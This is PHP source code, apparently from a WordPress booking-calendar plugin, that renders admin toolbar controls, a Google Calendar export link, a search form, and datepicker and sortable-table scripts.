Some Value from optins array that selected by default , 'style' => 'width: 5em;' // CSS of select element , 'class' => '' // CSS Class of select element , 'attr' => array() // Any additional attributes, if this radio | checkbox element ) ) ); ?><div class="control-group wpbc-no-padding"><?php wpbc_bs_input_group( $params ); ?></div><?php } function wpbc_toolbar_btn__calendar_cell_height( $user_calendar_options = array() ){ $text_label = __('Calendar cell height' ,'booking') . ':'; $parameter_name = 'calendar_cell_height'; if ( isset( $user_calendar_options[$parameter_name] ) ) $selected_value = intval( $user_calendar_options[ $parameter_name ] ); else $selected_value = ''; if ( isset( $user_calendar_options[$parameter_name . 'units'] ) ) $selected_value_units = esc_attr( $user_calendar_options[ $parameter_name . 'units' ] ); else $selected_value_units = ''; $params = array( 'label_for' => $parameter_name // "For" parameter of label element , 'label' => '' // Label above the input group , 'style' => '' // CSS Style of entire div element , 'items' => array( array( 'type' => 'addon' , 'element' => 'text' // text | radio | checkbox , 'text' => $text_label , 'class' => '' // Any CSS class here , 'style' => 'font-weight:600;' // CSS Style of entire div element ) , array( 'type' => 'text' , 'id' => $parameter_name // HTML ID of element , 'value' => $selected_value // Some Value from optins array that selected by default , 'style' => 'width: 5em;' // CSS of select element , 'placeholder' => '48px' , 'class' => '' // CSS Class of select element , 'attr' => array() // Any additional attributes, if this radio | checkbox element ) , array( 'type' => 'select' , 'id' => $parameter_name . 'units' // HTML ID of element , 'options' => array( 'px' => 'px', 'percent' => '%' ) // Associated array of titles and values , 'value' => $selected_value_units // Some Value from optins array that selected by default , 'style' => 'width: 5em;' // CSS of select element , 'class' => '' // CSS Class of select element , 'attr' => array() // Any additional attributes, if this radio | checkbox element ) ) ); ?><div class="control-group wpbc-no-padding"><?php wpbc_bs_input_group( $params ); ?></div><?php } /** Add New Booking Button*/ function wpbc_toolbar_btn__calendar_options_save() { ?><div class="control-group wpbc-no-padding"><?php ?><a id="toolbar_btn__calendar_options_save" class="button button-primary " href="javascript:void(0)" onclick="javascript:var data_params = {}; data_params.calendar_months_count = jQuery('#calendar_months_count').val(); data_params.calendar_months_num_in_1_row = jQuery('#calendar_months_num_in_1_row').val(); data_params.calendar_width = jQuery('#calendar_width').val(); data_params.calendar_widthunits = jQuery('#calendar_widthunits').val(); data_params.calendar_cell_height = jQuery('#calendar_cell_height').val(); data_params.calendar_cell_heightunits = jQuery('#calendar_cell_heightunits').val(); var ajax_data_params = jQuery.param( data_params ); wpbc_save_custom_user_data(<?php echo wpbc_get_current_user_id(); ?> , '<?php echo 'add_booking_calendar_options'; ?>' , ajax_data_params , 1 );" ><?php _e('Save' , 'booking') ?></a><?php ?></div><?php } /** Add New Booking Button*/ function wpbc_toolbar_btn__calendar_options_reset() { ?><div class="control-group wpbc-no-padding"><?php ?><a class="button button-secondary " href="javascript:void(0)" onclick="javascript:jQuery('#calendar_months_count').val('1'); jQuery('#calendar_months_num_in_1_row').val('0'); jQuery('#calendar_width').val('0'); jQuery('#calendar_widthunits').val('px'); jQuery('#calendar_cell_height').val('0'); jQuery('#calendar_cell_heightunits').val('px'); jQuery( '#toolbar_btn__calendar_options_save').trigger('click'); " ><?php _e('Reset' , 'booking') ?></a><?php ?></div><?php } /** Add New Booking Button*/ function wpbc_toolbar_btn__add_new_booking() { if ( isset( $_GET['booking_type'] ) ) $bk_type = intval ( $_GET['booking_type'] ); else $bk_type = 1; ?><a class="button-primary button wpbc_submit_button" href="javascript:void(0)" onclick="mybooking_submit( document.getElementById('booking_form<?php echo $bk_type; ?>' ) , <?php echo $bk_type; ?> , '<?php echo wpbc_get_maybe_reloaded_booking_locale(); ?>' );" ><?php _e('Add booking' , 'booking') ?></a><?php } /** Checkbox - sending emails or not - duplicated button, usually at the bottom of page*/ function wpbc_toolbar_is_send_emails_btn_duplicated() { ?><div class="btn-group" style="margin-top:10px;"><?php $el_id = 'is_send_email_for_new_booking'; $el_value = ( get_bk_option( 'booking_send_emails_off_addbooking' ) !== 'On' ) ? 'On' : 'Off'; $params_checkbox = array( 'id' => $el_id // HTML ID of element , 'name' => $el_id , 'label' => array( 'title' => __( 'Emails sending', 'booking' ) , 'position' => 'right' ) //FixIn: 9.6.1.5 , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => $el_value // Some Value from optins array that selected by default , 'selected' => ( ( 'On' == $el_value ) ? true : false ) // Selected or not //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "document.getElementById('is_send_email_for_pending').checked = this.checked;" // JavaScript code , 'hint' => array( 'title' => __('Send email notification to customer about this operation' ,'booking') , 'position' => 'top' ) ); wpbc_flex_toggle( $params_checkbox ); ?></div><?php ?> <script type="text/javascript"> jQuery( '#is_send_email_for_pending' ).on('change', function() { document.getElementById( 'is_send_email_for_new_booking' ).checked = jQuery( '#is_send_email_for_pending' ).is( ':checked' ); }); </script> <?php } /** * Show Link (button) for adding booking to Google Calendar * * @param int $booking_id * @param array $button_attr * @param bool $echo * @return string */ function wpbc_btn_add_booking_to_google_calendar( $booking_data, $button_attr = array(), $echo = true ) { //FixIn: 7.1.2.5 //debuge($booking_data); if ( ! $echo ) { ob_start(); } $defaults = array( 'title' => __( 'Add to Google Calendar', 'booking' ) , 'hint' => __( 'Add to Google Calendar', 'booking' ) , 'class' => 'button-secondary button' , 'is_show_icon' => true , 'is_only_url' => false ); $button_attr = wp_parse_args( $button_attr, $defaults ); $params = array(); $params['timezone'] = get_bk_option('booking_gcal_timezone'); $booking_gcal_events_form_fields = get_bk_option( 'booking_gcal_events_form_fields'); if ( is_serialized( $booking_gcal_events_form_fields ) ) $booking_gcal_events_form_fields = unserialize( $booking_gcal_events_form_fields ); /** * Array ( [title] => text^name [description] => textarea^details [where] => text^ ) */ // Fields $fields = array( 'title' => '', 'description' => '', 'where' => '' ); foreach ( $fields as $key_name => $field_value ) { if ( ! empty( $booking_gcal_events_form_fields[ $key_name ] ) ) { $field_name = explode( '^', $booking_gcal_events_form_fields[ $key_name ] ); $field_name = $field_name[ ( count( $field_name ) - 1 ) ]; //FixIn: 8.7.7.6 if ( (! empty($field_name)) && (! empty($booking_data['form_data'])) && (! empty($booking_data['form_data']['_all_fields_'])) && (! empty($booking_data['form_data']['_all_fields_'][ $field_name ])) ) { if ( 'description' === $key_name ) { //FixIn: 8.1.3.2 if ( isset( $booking_data['form_show'] ) ) { //FixIn: 8.7.3.14 //FixIn: 8.7.11.4 $fields[ $key_name ] = $booking_data['form_show']; $fields[ $key_name ] = htmlspecialchars_decode($fields[ $key_name ], ENT_QUOTES ); $fields[ $key_name ] = urlencode($fields[ $key_name ]); $fields[ $key_name ] = htmlentities($fields[ $key_name ] ); $fields[ $key_name ] = htmlspecialchars_decode ( $fields[ $key_name ], ENT_NOQUOTES ); } } else { //FixIn: 8.7.11.4 $fields[ $key_name ] = $booking_data['form_data']['_all_fields_'][ $field_name ]; $fields[ $key_name ] = htmlspecialchars_decode($fields[ $key_name ], ENT_QUOTES ); // Convert here from usual symbols to URL symbols https://www.url-encode-decode.com/ // $fields[ $key_name ] = str_replace( array( '%','#', '+', '&' ) // , array( '%25','%23', '%2B', '%26') // , $fields[ $key_name ] // ); $fields[ $key_name ] = urlencode($fields[ $key_name ]); $fields[ $key_name ] = htmlentities($fields[ $key_name ] ); $fields[ $key_name ] = htmlspecialchars_decode ( $fields[ $key_name ], ENT_NOQUOTES ); } } } } //debuge($booking_gcal_events_form_fields, $fields,$booking_data['form_data']); // Dates. $check_in_timestamp = $check_out_timestamp = ''; if ( ! empty( $booking_data[ 'dates_short' ] ) ) { /* all day events, you can use 20161208/20161209 - note that the old google documentation gets it wrong. * You must use the following date as the end date for a one day all day event, * or +1 day to whatever you want the end date to be. */ $check_in_timestamp = strtotime( $booking_data[ 'dates_short' ][ 0 ], current_time( 'timestamp' ) ); if ( trim( substr( $booking_data[ 'dates_short' ][ 0 ], 11 ) ) == '00:00:00' ) { $check_in_timestamp = date( "Ymd", $check_in_timestamp ); // All day } else { $check_in_timestamp = date( "Ymd\THis", $check_in_timestamp ); //$check_in_timestamp = date( "Ymd\THis\Z", $check_in_timestamp ); } $check_out_timestamp = strtotime( $booking_data[ 'dates_short' ][ ( count( $booking_data[ 'dates_short' ] ) - 1 ) ], current_time( 'timestamp' ) ); if ( trim( substr( $booking_data[ 'dates_short' ][ ( count( $booking_data[ 'dates_short' ] ) - 1 ) ], 11 ) ) == '00:00:00' ) { $check_out_timestamp = strtotime( '+1 day', $check_out_timestamp ); $check_out_timestamp = date( "Ymd", $check_out_timestamp ); // All day } else { $check_out_timestamp = date( "Ymd\THis", $check_out_timestamp ); //$check_out_timestamp = date( "Ymd\THis\Z", $check_out_timestamp ); } } //debuge($check_in_timestamp,$check_out_timestamp, $fields );die; //Convert an ISO date/time to a UNIX timestamp //function iso_to_ts( $iso ) { // sscanf( $iso, "%u-%u-%uT%u:%u:%uZ", $year, $month, $day, $hour, $minute, $second ); // return mktime( intval($hour), intval($minute), intval($second), intval($month), intval($day), intval($year) ); // 20140127T224000Z // date("Ymd\THis\Z", time()); /** action: action=TEMPLATE A default required parameter. src: Example: src=default%40gmail.com Format: src=text This is not covered by Google help but is an optional parameter in order to add an event to a shared calendar rather than a user's default. text: Example: text=Garden%20Waste%20Collection Format: text=text This is a required parameter giving the event title. dates: Example: dates=20090621T063000Z/20090621T080000Z (i.e. an event on 21 June 2009 from 7.30am to 9.0am British Summer Time (=GMT+1)). Format: dates=YYYYMMDDToHHMMSSZ/YYYYMMDDToHHMMSSZ This required parameter gives the start and end dates and times (in Greenwich Mean Time) for the event. location: Example: location=Home Format: location=text The obvious location field. trp: Example: trp=false Format: trp=true/false Show event as busy (true) or available (false) sprop: Example: sprop=http%3A%2F%2Fwww.me.org Example: sprop=name:Home%20Page Format: sprop=website and/or sprop=name:website_name */ // $link_add2gcal = 'http://www.google.com/calendar/event?action=TEMPLATE'; // $link_add2gcal .= '&text=' . $fields['title']; //FixIn: 8.7.3.10 $link_add2gcal = 'https://calendar.google.com/calendar/r/eventedit?'; $link_add2gcal .= 'text=' . $fields['title']; //FixIn: 8.7.11.4 //$link_add2gcal .= '&dates=[start-custom format='Ymd\\THi00\\Z']/[end-custom format='Ymd\\THi00\\Z']'; $link_add2gcal .= '&dates=' . $check_in_timestamp . '/' . $check_out_timestamp; $link_add2gcal .= '&details=' . ( ( 'On' !== get_bk_option( 'booking_g_cal_export_no_data' ) ) ? $fields['description'] : '' ); //FixIn: 10.3.0.1 $link_add2gcal .= '&location=' . ( ( 'On' !== get_bk_option( 'booking_g_cal_export_no_data' ) ) ? $fields['where'] : '' ); $link_add2gcal .= '&trp=false'; if ( ! empty( $params['timezone'] ) ) { $link_add2gcal .= '&ctz=' . str_replace( '%', '%25', $params['timezone'] ); //FixIn: 8.7.3.10 //TimeZone } //$link_add2gcal .= '&sprop='; //$link_add2gcal .= '&sprop=name:'; if ( $button_attr['is_only_url'] ) { echo $link_add2gcal; } else { ?><a href="<?php echo $link_add2gcal; ?>" target="_blank" rel="nofollow" class="tooltip_top <?php echo esc_attr( $button_attr['class'] ) ?>" title="<?php echo esc_attr( $button_attr['hint'] ); ?>" ><?php if ( $button_attr['is_show_icon'] ) { ?><i class="wpbc_icn_event"></i><?php //FixIn: 9.0.1.4 glyphicon icon-1x glyphicon-export } else { echo esc_js( $button_attr['title'] ); } ?></a><?php } if ( ! $echo ) { return ob_get_clean(); } } // --------------------------------------------------------------------------------------------------------------------- // Toolbar Other UI elements - General // --------------------------------------------------------------------------------------------------------------------- /** * Selection elements in toolbar UI selectbox * * @param array $params * * Exmaple: wpbc_toolbar_btn__selection_element( array( 'name' => 'resources_count' , 'title' => __('Resources count' ,'booking') . ':' , 'selected' => 1 , 'options' => array_combine( range(1, 201) ,range(1, 201) ) ) ) ; */ function wpbc_toolbar_btn__selection_element( $params ) { $defaults = array( 'name' => 'random_' . rand( 1000, 10000 ) , 'title' => __('Total', 'booking') . ':' , 'on_change' => '' //'location.href=\'' . $link_base . '\' + this.value;'; //$link_base = wpbc_get_new_booking_url__base( array( $params['name'] ) ) . '&' . $params['name'] . '=' ; , 'options' => array() , 'selected' => 0 ); $params = wp_parse_args( $params, $defaults ); for ( $i = 1; $i < 201; $i++ ) { $form_options[ $i ] = $i; } $params = array( 'label_for' => $params['name'] // "For" parameter of label element , 'label' => '' // Label above the input group , 'style' => '' // CSS Style of entire div element , 'items' => array( array( 'type' => 'addon' , 'element' => 'text' // text | radio | checkbox , 'text' => $params['title'] , 'class' => '' // Any CSS class here , 'style' => 'font-weight:600;' // CSS Style of entire div element ) , array( 'type' => 'select' , 'id' => $params['name'] // HTML ID of element , 'name' => $params['name'] // HTML ID of element , 'options' => $params['options'] // Associated array of titles and values , 'value' => $params['selected'] // Some Value from optins array that selected by default , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'onchange' => $params['on_change'] ) ) ); ?><div class="control-group wpbc-no-padding"><?php wpbc_bs_input_group( $params ); ?></div><?php } // --------------------------------------------------------------------------------------------------------------------- // Toolbar S e a r c h F o r m at Top Right side of Settings page // --------------------------------------------------------------------------------------------------------------------- //FixIn: 8.0.1.12 /** * Add hidden input SEARCH KEY field into main form, if previosly was searching by ID or Title * @param array $params => array( 'search_get_key' => 'wh_resource_id' ) */ function wpbc_hidden_search_by_id_field_in_main_form( $params = array() ){ $defaults = array( 'search_get_key' => 'wh_search_id' ); $params = wp_parse_args( $params, $defaults ); $search_form_value = ''; if ( isset( $_REQUEST[ $params[ 'search_get_key' ] ] ) ) { $wh_resource_id = wpbc_clean_digit_or_csd( $_REQUEST[ $params[ 'search_get_key' ] ] ); // '12,0,45,9' or '10' $wh_resource_title = wpbc_clean_string_for_form( $_REQUEST[ $params[ 'search_get_key' ] ] ); // Clean string if ( ! empty( $wh_resource_id ) ) { $search_form_value = $wh_resource_id; } else { $search_form_value = $wh_resource_title; } } if ( '' !== $search_form_value ) { ?><input name="<?php echo esc_attr( $params['search_get_key'] ); ?>" value="<?php echo esc_attr( $search_form_value ); ?>" type="hidden"><?php } } /** * Real Search booking data by ID | Title (at top right side of page) * * @param array $params - array of parameters * Exmaple: wpbc_toolbar_search_by_id__top_form( array( 'search_form_id' => 'wpbc_seasonfilters_search_form' , 'search_get_key' => 'wh_search_id' , 'is_pseudo' => false ) ); */ function wpbc_toolbar_search_by_id__top_form( $params ) { $defaults = array( 'search_form_id' => 'wpbc_seasonfilters_search_form' , 'search_get_key' => 'wh_search_id' , 'is_pseudo' => false //'location.href=\'' . $link_base . '\' + this.value;'; //$link_base = wpbc_get_new_booking_url__base( array( $params['name'] ) ) . '&' . $params['name'] . '=' ; , 'container_style' => 'position: absolute; right: 20px; top: 0px;z-index: 0;' //FixIn: 10.0.0.29 ); $params = wp_parse_args( $params, $defaults ); $exclude_params = array(); //array('page_num', 'orderby', 'order'); - if using "only_these_parameters", then this parameter does NOT require $only_these_parameters = array( 'page', 'tab', 'subtab', $params[ 'search_get_key' ] ); //FixIn: 8.1.1.11 - added , 'subtab' - ability to search booking resources in sub tab pages in settings $wpbc_admin_url = wpbc_get_params_in_url( wpbc_get_bookings_url( false, false ), $exclude_params, $only_these_parameters ); $search_form_value = ''; if ( isset( $_REQUEST[ $params[ 'search_get_key' ] ] ) ) { $wh_resource_id = wpbc_clean_digit_or_csd( $_REQUEST[ $params[ 'search_get_key' ] ] ); // '12,0,45,9' or '10' $wh_resource_title = wpbc_clean_string_for_form( $_REQUEST[ $params[ 'search_get_key' ] ] ); // Clean string if ( ! empty( $wh_resource_id ) ) { $search_form_value = $wh_resource_id; } else { $search_form_value = $wh_resource_title; } } wpbc_clear_div(); ?> <span class="wpdevelop"> <?php if ( ! $params['is_pseudo'] ) { ?> <div style="<?php echo esc_attr( $params['container_style'] ); ?>"> <form action="<?php echo $wpbc_admin_url; ?>" method="post" id="<?php echo $params[ 'search_form_id' ]; ?>" name="<?php echo $params[ 'search_form_id' ]; ?>" > <?php } else { ?><div style="float:right;" id="<?php echo $params['search_form_id'] . '_pseudo'; ?>"><?php } if(0){ $params_for_element = array( 'label_for' => $params[ 'search_get_key' ] . ( ( $params['is_pseudo'] ) ? '_pseudo' : '' ) , 'label' => ''//__('Keyword:', 'booking') , 'items' => array( array( 'type' => 'text' , 'id' => $params[ 'search_get_key' ] . ( ( $params['is_pseudo'] ) ? '_pseudo' : '' ) , 'value' => $search_form_value , 'placeholder' => __('ID or Title', 'booking') ) , array( 'type' => 'button' , 'title' => __('Go', 'booking') , 'class' => 'button-secondary' , 'font_icon' => 'wpbc_icn_search' , 'icon_position' => 'right' , 'action' => ( ( ! $params['is_pseudo'] ) ? "jQuery('#". $params[ 'search_form_id' ] ."').trigger( 'submit' );" : "jQuery('#" . $params[ 'search_get_key' ] . "').val( jQuery('#" . $params[ 'search_get_key' ] . "_pseudo').val() ); jQuery('#". $params[ 'search_form_id' ] ."').trigger( 'submit' );" ) //Submit real form at the top of page. ) ) ); ?><div class="control-group wpbc-no-padding" ><?php wpbc_bs_input_group( $params_for_element ); ?></div><?php } else { ?><div id="booking_resources_toolbar_container" class="wpbc_ajx_toolbar wpbc_background_transparent"><?php ?><div class="ui_container ui_container_toolbar ui_container_small ui_container_options ui_container_options_row_1" style=" display: flex"><?php ?><div class="ui_group"><?php // Search Keyword text field ?><div class="ui_element"><?php $el_id = 'booking_resource_search_keyword'; $default_value = $search_form_value; $params_for_element = array( 'type' => 'text' , 'id' => $params[ 'search_get_key' ] . ( ( $params['is_pseudo'] ) ? '_pseudo' : '' ) , 'name' => $params[ 'search_get_key' ] . ( ( $params['is_pseudo'] ) ? '_pseudo' : '' ) , 'label' => '' , 'disabled' => false , 'class' => '' , 'style' => 'min-width:100px;' , 'placeholder' => __('ID or Title' ,'booking') , 'attr' => array( 'maxlength' => '200' ) , 'value' => $default_value , 'onfocus' => '' ); wpbc_flex_text( $params_for_element ); ?></div><?php // Reset keyword $params_for_element = array( 'type' => 'button' , 'title' => '',//__( 'Reset', 'booking' ) . ' ', // Title of the button 'hint' => array( 'title' => __( 'Reset keyword text field', 'booking' ), 'position' => 'top' ), // Hint 'link' => 'javascript:void(0)', // Direct link or skip it // 'action' => "jQuery( '#booking_resource_search_keyword').val(''); // window.location.href='" . $option_params['url'] . "';", // JavaScript 'action' => ( ( ! $params['is_pseudo'] ) ? "jQuery('#" . $params[ 'search_get_key' ] . "').val( '' ); jQuery('#". $params[ 'search_form_id' ] ."').trigger( 'submit' );" : "jQuery('#" . $params[ 'search_get_key' ] . "').val( '' ); jQuery('#". $params[ 'search_form_id' ] ."').trigger( 'submit' );" ) , 'icon' => array( 'icon_font' => 'wpbc_icn_close', //'wpbc_icn_rotate_left', 'position' => 'left', 'icon_img' => '' ), 'class' => 'wpbc_button_as_icon', // '' | 'wpbc_ui_button_primary' 'style' => '', // Any CSS class here 'mobile_show_text' => true, // Show or hide text, when viewing on Mobile devices (small window size). 'attr' => array() ); ?><div class="ui_element" style="flex: 0 1 auto;margin-left: -50px;z-index: 1;"><?php wpbc_flex_button( $params_for_element ); ?></div><?php // Go button ?><div class="ui_element"><?php $booking_action = 'booking_resource_search_keyword_btn'; $el_id = 'ui_btn_' . $booking_action; // Escaped construction of search keyword. //FixIn: 9.9.0.11 $params_for_element = array( 'type' => 'button' , 'title' => '',//__( 'Search', 'booking' ) . ' ', // Title of the button 'hint' => array( 'title' => __('Search' ,'booking'), 'position' => 'top' ), // Hint 'link' => 'javascript:void(0)', // Direct link or skip it //'link' => $option_params['url'] . '&wh_resource_id=sdfs+f', // 'action' => "if (jQuery('#booking_resource_search_keyword' ).val() == '' ) { // wpbc_field_highlight( '#booking_resource_search_keyword' ); // } else { // window.location.href='" . $option_params['url'] . "&wh_resource_id='+window.encodeURIComponent(jQuery('#booking_resource_search_keyword' ).val()); // }" , 'action' => ( ( ! $params['is_pseudo'] ) ? "jQuery('#". $params[ 'search_form_id' ] ."').trigger( 'submit' );" : "jQuery('#" . $params[ 'search_get_key' ] . "').val( jQuery('#" . $params[ 'search_get_key' ] . "_pseudo').val() ); jQuery('#". $params[ 'search_form_id' ] ."').trigger( 'submit' );" ) , 'icon' => array( 'icon_font' => 'wpbc_icn_search', 'position' => 'left', 'icon_img' => '' ), 'class' => 'wpbc_ui_button _primary', // '' | 'wpbc_ui_button_primary' 'style' => '', // Any CSS class here 'mobile_show_text' => true, // Show or hide text, when viewing on Mobile devices (small window size). 'attr' => array( 'id' => $el_id ) ); wpbc_flex_button( $params_for_element ); ?></div><?php ?></div><?php ?></div><?php ?></div><?php } if ( ! $params['is_pseudo'] ) { ?> </form> <?php } ?> <?php wpbc_clear_div(); ?> <?php if ( $params['is_pseudo'] ) { // Required for opening specific page NUM during saving //////// ?><input type="hidden" value="<?php echo $search_form_value; ?>" name="<?php echo $params[ 'search_get_key' ]; ?>" /><?php ?><div class="clear" style="height:20px;"></div><?php } ?> </div> </span> <?php if ( $params['is_pseudo'] ) { // Hide pseudo form, if real search form does not exist ?> <script type="text/javascript"> jQuery(document).ready(function(){ if ( jQuery('#<?php echo $params[ 'search_form_id' ]; ?>').length == 0 ) { jQuery('#<?php echo $params['search_form_id'] . '_pseudo'; ?>').hide(); } }); </script> <?php } } //FixIn: 9.6.3.5 // --------------------------------------------------------------------------------------------------------------------- // JS & CSS // --------------------------------------------------------------------------------------------------------------------- /** * Load support JavaScript for "Bookings" page */ function wpbc_js_for_bookings_page() { wpbc_bs_javascript_tooltips(); // JS Tooltips wpbc_bs_javascript_popover(); // JS Popover wpbc_datepicker_js(); // JS Datepicker wpbc_datepicker_css(); // CSS DatePicker } /** Datepicker activation JavaScript */ function wpbc_datepicker_js() { ?><script type="text/javascript"> jQuery(document).ready( function(){ if ( 'function' === typeof( jQuery('input.wpdevbk-filters-section-calendar').datepick ) ) { jQuery( 'input.wpdevbk-filters-section-calendar' ).datepick( { beforeShowDay : function ( date ) { return [true, 'date_available']; }, showOn : 'focus', multiSelect : 0, numberOfMonths : 1, stepMonths : 1, prevText : '‹', nextText : '›', dateFormat : 'yy-mm-dd', changeMonth : false, changeYear : false, minDate : null, maxDate : null, //'1Y', showStatus : false, multiSeparator : ', ', closeAtTop : null, //!false, firstDay :<?php echo get_bk_option( 'booking_start_day_weeek' ); ?>, gotoCurrent : false, hideIfNoPrevNext: true, useThemeRoller : false, mandatory : true } ); } else { alert( 'WPBC Error. JavaScript library "datepick" was not defined.' ); } }); </script><?php } /** Support CSS - datepick, etc... */ function wpbc_datepicker_css(){ // FixIn: 9.7.3.4 $width = 300; $height = 40; ?> <style type="text/css"> #datepick-div { max-width: <?php echo $width ?>px !important; width:100%; margin-top: 2px; background: #fff; } #datepick-div .datepick-days-cell { height: <?php echo $height ?>px !important; } #datepick-div .datepick-control { display: none; font-size: 10px; text-align: center; } #datepick-div .datepick .datepick-days-cell a{ font-size: 12px; } #datepick-div table.datepick tr td { padding: 0 !important; } #datepick-div .datepick-one-month { height: auto; } </style> <?php } /** Sortable Table JavaScript */ function wpbc_sortable_js() { ?> <script type="text/javascript"> // Activate Sortable Functionality jQuery( document ).ready(function(){ jQuery('.wpbc_input_table tbody th').css('cursor','move'); jQuery('.wpbc_input_table tbody td.sort').css('cursor','move'); jQuery('.wpbc_input_table.sortable tbody').sortable({ items:'tr', cursor:'move', axis:'y', scrollSensitivity:40, forcePlaceholderSize: true, helper: 'clone', opacity: 0.65, placeholder: '.wpbc_sortable_table .sort', start:function(event,ui){ ui.item.css('background-color','#f6f6f6'); }, stop:function(event,ui){ ui.item.removeAttr('style'); } }); }); </script> <?php }